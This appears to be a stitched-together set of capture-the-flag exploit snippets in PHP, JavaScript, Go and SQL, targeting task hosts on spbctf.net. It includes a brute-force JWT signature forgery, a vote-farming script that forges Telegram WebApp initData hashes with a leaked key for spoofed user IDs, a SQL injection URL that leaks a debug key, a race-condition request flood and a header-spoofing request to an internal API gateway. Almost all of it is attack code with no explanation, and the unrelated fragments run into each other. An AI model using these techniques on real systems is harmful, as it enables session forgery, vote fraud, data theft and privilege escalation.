python DiffusionCipher.py ctf2023.yaml.protected ctf2023.yaml key.json

n0, n1, m0, m1 = 0, 1, 0, 1
# n = 92153904885269267505545
while diffusionCycles <= n:
  n0, n1 = n1, a * n1 - b * n0
  m0, m1 = m1, x * m1 - y * m0
  diffusionCycles += 1
result = (m1 * n1) % N

| n0 |   |  0  1  0  0 |   | n0 |
| n1 | = | -b  a  0  0 | * | n1 |
| m0 |   |  0  0  0  1 |   | m0 |
| m1 |   |  0  0 -y  x |   | m1 |

state = [0, 1, 0, 1]
for _ in range(n):
  state = (A * state) % N

a, b = 1, 2
for _ in range(n):
  a = b * a

  private[jwt] def signHmac(algorithm: Algorithm, msg: String, key: String): String = {
    val mac: Mac = Mac.getInstance(algorithm.toString)
    mac.init(new SecretKeySpec(key.getBytes("utf-8"), algorithm.toString))
    encodeBase64url(new String(mac.doFinal(msg.getBytes("utf-8")).slice(5, 256)))
  }
  ...
  private[jwt] def encodeBase64url(str: String): String =
    Base64.encodeBase64URLSafeString(str.getBytes("utf-8"))

<?php

function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data, $strict = false) {
  return base64_decode(strtr($data, '-_', '+/'), $strict);
}

$username = 'tst362353022';
$sig = str_repeat(chr(0xEF) . chr(0xBF) . chr(0xBD), 11);
$hdr = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJITUQ1In0';

$ch = curl_init();

for ($i = 0; $i < 40000; ++$i) {
    $payload = json_encode([
        'login' => $username,
        'role' => 'readwrite',
        'lalala' => random_int(10000000, 999999999999),
    ]);
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/setup',
        CURLOPT_COOKIE => 'jwt=' . $hdr . '.' . base64url_encode($payload) . '.' . base64url_encode($sig),
        CURLOPT_POSTFIELDS => json_encode(['mode' => 'Firefighter']),
        CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
        CURLOPT_RETURNTRANSFER => 1,
    ]);

    $data = curl_exec($ch);
    if (strlen($data) > 0) {
        echo $data;
        break;
    }
}

__halt_compiler();
$ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
        CURLOPT_POSTFIELDS => json_encode([
            'login' => $username,
            'password' => $password,
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
        ],
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
        CURLOPT_HEADER => 0,
        // CURLOPT_VERBOSE => 1,
    ]);

__halt_compiler();

for ($j = 0; $j < 100; ++$j) {

    $username = 'tst' . mt_rand(100000000, 999999999);
    $password = 'testpassword';

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/register',
        CURLOPT_POSTFIELDS => json_encode([
            'login' => $username,
            'password' => $password,
        ]),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
        ],
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_REFERER => 'https://t-robear-9veyslvj.spbctf.net/register.html',
        CURLOPT_HEADER => 0,
        // CURLOPT_VERBOSE => 1,
    ]);

    $data = json_decode(curl_exec($ch), true);
    if (!$data['success']) {
        echo 'fail';
        return;
    }


    curl_setopt_array($ch, [
        CURLOPT_URL => 'https://t-robear-9veyslvj.spbctf.net/api/login',
        CURLOPT_CUSTOMREQUEST => 'POST',
        CURLOPT_HEADER => 1,
    ]);

    $data = curl_exec($ch);

    preg_match('~set-cookie:\s*jwt=(\S+)~i', $data, $m);
    $jwt = $m[1];
    [$hdr, $payload, $sig] = explode('.', $jwt);

    $dec = base64url_decode($sig);

    $out = '';
    for ($i = 0, $len = strlen($dec); $i < $len; $i++) {
        if (ord($dec[$i]) <= 127) {
            $out .= $dec[$i];
        }
    }

    echo bin2hex($out), ":$username:$password\n";
}

const axios = require('axios');
const CryptoJS = require('crypto-js');

const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
const contestant_id = 100; // id участника голосования
// данные авторизации можно получить, введя в консоли скрипт
// Array
//     .from(new URLSearchParams(Telegram.WebApp.initData).entries())
//     .reduce((res, [key, value]) => {
//         if (key !== 'hash') {
//             res[key] = value;
//         }
//         return res;
//     }, {});
// далее нужно просто менять id и формировать hash (дефолтный hash сразу вырезали)
const getData = (id) => ({
    auth_date: "*ts*",
    query_id: "*queryId*",
    user: `{"id":${id},"first_name":"*name*","last_name":"*surname*","username":"*login*","language_code":"ru","allows_write_to_pm":true}`,
});

// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
    return axios
        .post(
            'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
            { initData: new URLSearchParams(data).toString() }
        )
        .then((res) => {
            return axios
                .post(
                    'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
                    { contestant_id },
                    {
                        headers: {
                            'Cookie': res.headers['set-cookie'],
                        },
                    }
                )
                .then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
        })
        .catch((err) => {
            if (repeat < 5) {
                return request(data, repeat++);
            }

            throw err;
        });
};

// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
    for (let i = 0; i < 1000; i++) {
        const data = getData(i);    
        const dataCheckString = Object
            .keys(data)
            .sort()
            .map((key) => `${key}=${data[key]}`)
            .join('\n');
        const calculatedHash = CryptoJS
            .HmacSHA256(dataCheckString, secretKey)
            .toString(CryptoJS.enc.Hex);
        data.hash = calculatedHash;

        request(data);
    }
};

handle();

const axios = require('axios');
const CryptoJS = require('crypto-js');

const secretKey = CryptoJS.enc.Hex.parse("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83"); // ключ нашли в коде
// данные initData нужно получить, введя в консоли Telegram.WebApp.initData
const initData = 'query_id=*queryId*&user=%7B%22id%22%3A200905925%2C%22first_name%22%3A%22*firstName*%22%2C%22last_name%22%3A%22*lastName*%22%2C%22username%22%3A%22*userName*%22%2C%22language_code%22%3A%22ru%22%2C%22allows_write_to_pm%22%3Atrue%7D&auth_date=*authDate*&hash=*hash*';
const contestant_id = 100; // id участника голосования достали из запросов

// подготовили initData
const preInitData = Array
    .from(new URLSearchParams(initData).entries())
    .reduce((res, [key, value]) => {
        if (key !== 'hash') {
            res[key] = value;
        }
        return res;
    }, {});

// заменяем id юзера в preInitData
const getData = (id) => ({
    ...preInitData,
    user: preInitData.user.replace(/({"id":)\d*,/, `$1${id},`),
});

// цепочка авторизация - голос с репитами на случай ошибки
const request = (data, repeat = 1) => {
    return axios
        .post(
            'https://t-pageant-ekbooq0e.spbctf.net/api/auth',
            { initData: new URLSearchParams(data).toString() }
        )
        .then((res) => {
            return axios
                .post(
                    'https://t-pageant-ekbooq0e.spbctf.net/api/vote',
                    { contestant_id },
                    {
                        headers: {
                            'Cookie': res.headers['set-cookie'],
                        },
                    }
                )
                .then(({ data }) => console.log(data)); // выводим промежуточный результат в консоль
        })
        .catch((err) => {
            if (repeat < 5) {
                return request(data, repeat++);
            }

            throw err;
        });
};

// фарм голосов: индекс цикла = id пользователя, указываем любой интервал
const handle = () => {
    for (let i = 0; i < 1; i++) {
        const data = getData(i);    
        const dataCheckString = Object
            .keys(data)
            .sort()
            .map((key) => `${key}=${data[key]}`)
            .join('\n');
        const calculatedHash = CryptoJS
            .HmacSHA256(dataCheckString, secretKey)
            .toString(CryptoJS.enc.Hex);
        data.hash = calculatedHash;

        request(data);
    }
};

handle();

http://127.0.0.1:8000/users/?joined=year'%20FROM%20date_joined)FROM%20core_user%3BUPDATE%20core_user%20SET%20last_name%3D(SELECT%20value%20FROM%20core_parameter%20WHERE%20name%3D'DEBUG_KEY')%20WHERE%20username%3D'HACKER'--&.jpg

for (let binNum = 1; binNum <= 2000; binNum++) {
  fetch(host, {
    method: 'POST',
    headers: {
      Cookie: cookies,
      'Content-Type': 'application/x-www-form-urlencoded',
    },
    body: `open=${binNum}&token=${encodeURIComponent(`${captchaResponse}&idempotency_key=550e8400-e29b-41d4-a716-446655440000`)}`,
    redirect: 'manual',
  })
}

params = fmt.Sprintf("multiplier=%d", 10)
client.Post("https://apigateway:9443/api/setUserMultiplier?" + params, headers)

host := "apigateway:9443"
conn, err := tls.Dial("tcp", host, c.Config)
if err != nil {
  return "", []byte{}, err
}
defer conn.Close()
request := fmt.Sprintf("POST %s HTTP/1.1\r\nHost: %s\r\n", urlString, host)

sessionValue := createAndSignSession(string(userInfoRow.UserID))
c.SetCookie("session", sessionValue, 3600000, "", "", false, false)

func createAndSignSession(userID string) string {
  ...
  return string(payload) + "." + string(hex.EncodeToString(expectedMAC))
}

black HTTP/1.1
Host: apigateway:9443
X-From-Service: Yes
X-User-ID: <user-uuid-from-cookie>

POST /api/setUserMultiplier?multiplier=100000 HTTP/1.1
Host: apigateway:9443
X-From-Service: Yes
X-User-ID: <user-uuid-from-cookie>